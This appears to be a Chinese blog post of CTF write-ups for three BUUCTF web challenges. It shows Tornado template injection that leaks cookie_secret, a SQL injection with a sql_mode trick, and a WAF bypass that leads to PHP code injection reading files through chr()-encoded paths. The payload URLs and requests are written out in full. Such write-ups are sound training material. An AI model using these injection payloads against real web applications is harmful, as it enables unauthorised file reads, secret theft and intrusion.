0x01 [护网杯 2018]easy_tornado
打开之后发现三个连接,都点一下,然后发现flag在/fllllllllllllag的位置
发现hinit,如下
1 | md5(cookie_secret+md5(filename)) |
看到url有一个文件名,尝试修改文件名读取flag
1 | http://b892f69c-7bf2-43a9-8234-3daf2322bfce.node3.buuoj.cn/file?filename=/flag.txt&filehash=3295af9e1375bd422619c9bc3c19834a |
读取失败了。接着跳转到error页面,如下
1 | http://b892f69c-7bf2-43a9-8234-3daf2322bfce.node3.buuoj.cn/error?msg=Error |
于是在msg字段尝试模板注入,如下
1 | http://b892f69c-7bf2-43a9-8234-3daf2322bfce.node3.buuoj.cn/error?msg={1+1} |
很可能是屏蔽了一些字符
经过测试大概只有数字、英文还有点号之类的可以用了
上面的我们只是测试了注入的字符限制
接下来我们来测试一下以下数据
1 | http://b892f69c-7bf2-43a9-8234-3daf2322bfce.node3.buuoj.cn/error?msg={{1}} |
发现大括号消失,确实是存在注入的
根据上面的测试,可以知道filehash是文件读取的check,所以需要算出/flllllllllag对应的filehash,就可以读取文件,但是我们需要leak cookie_secret才能算出filehash
看到题目的名字叫easy_tornado,很可能是和tornado可能存在的注入有关
可以通过注入来输出handler.settings数据
1 | http://b892f69c-7bf2-43a9-8234-3daf2322bfce.node3.buuoj.cn/error?msg={{handler.settings}} |
成功发现cookie_secret
接下来就是写exp了
Exploit如下
1 | import re |
0x02 [SUCTF 2019]EasySQL
解法1
1 | *,1 |
使得源码中sql代码变成了以下形式
1 | select $_POST['query']||flag from Flag |
由于使用select *使得所有的表内容都被选中,也就是可以输出Flag的数据了
*,1的1可以写成true=true也是可以的,纯数字也是可以的
解法2
1 | POST / HTTP/1.1 |
通过设置sql_mode来改变字符的功能,使得源码中sql代码变成了以下形式
1 | select $_POST['query']||flag from Flag |
得到flag
1 | HTTP/1.1 200 OK |
0x03 [RoarCTF 2019]Easy Calc
通过测试发现数据发送到了calc.php,所以打开calc.php看看,发现calc.php直接给了源码
1 | http://node3.buuoj.cn:28482/calc.php |
发现对num进行了check,但是只是num做了check,所以我们可以特殊字符对num做一定的处理使得$str取不到num
知道漏洞后,我们先输出一下目录,来看看根目录有没有flag
1 | GET /calc.php?%20num=1;var_dump(scandir(chr(47))); HTTP/1.1 |
接着就可以使用file_get_content配合chr和var_dump来输出flag
1 | GET /calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); HTTP/1.1 |
感谢羽师傅的博客http://www.cl4y.top/buuctf_wp/#toc-head-17
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客!
评论